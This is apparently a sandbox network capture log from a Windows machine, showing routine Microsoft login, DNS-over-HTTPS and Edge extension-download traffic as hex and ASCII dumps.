2024-11-25 11:08:42 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 25 Nov 2024 11:08:41 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49741	40.126.53.6	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 11:08:42 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 11:08:43 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 11:07:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 45384164-7372-4ba3-b85a-196cf2295dea PPServer: PPV: 30 H: SN1PEPF0002FA38 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 11:08:43 GMT Connection: close Content-Length: 11389
2024-11-25 11:08:43 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49765	172.64.41.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 11:08:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 11:08:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 11:08:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e812ebe2aae18cc-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 11:08:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d9 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49764	162.159.61.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 11:08:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 11:08:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 11:08:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e812ebe7e094319-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 11:08:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ec 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49766	162.159.61.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 11:08:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 11:08:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 11:08:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e812ebe7f597cf4-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 11:08:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1a 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49756	172.217.19.225	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:45 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:45 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5isHQgmb4u0tVksA5hf1k3MbnVznHKmZB6lTKqoNZctsPSRpHdFo-Oey6vXSF6fQvBhWylcQdPxw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sun, 24 Nov 2024 16:45:00 GMT Expires: Mon, 24 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 66225 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 11:08:45 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-25 11:08:45 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-25 11:08:45 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-25 11:08:45 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-25 11:08:45 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-25 11:08:45 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-25 11:08:45 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-25 11:08:45 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-25 11:08:45 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-25 11:08:45 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49769	162.159.61.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
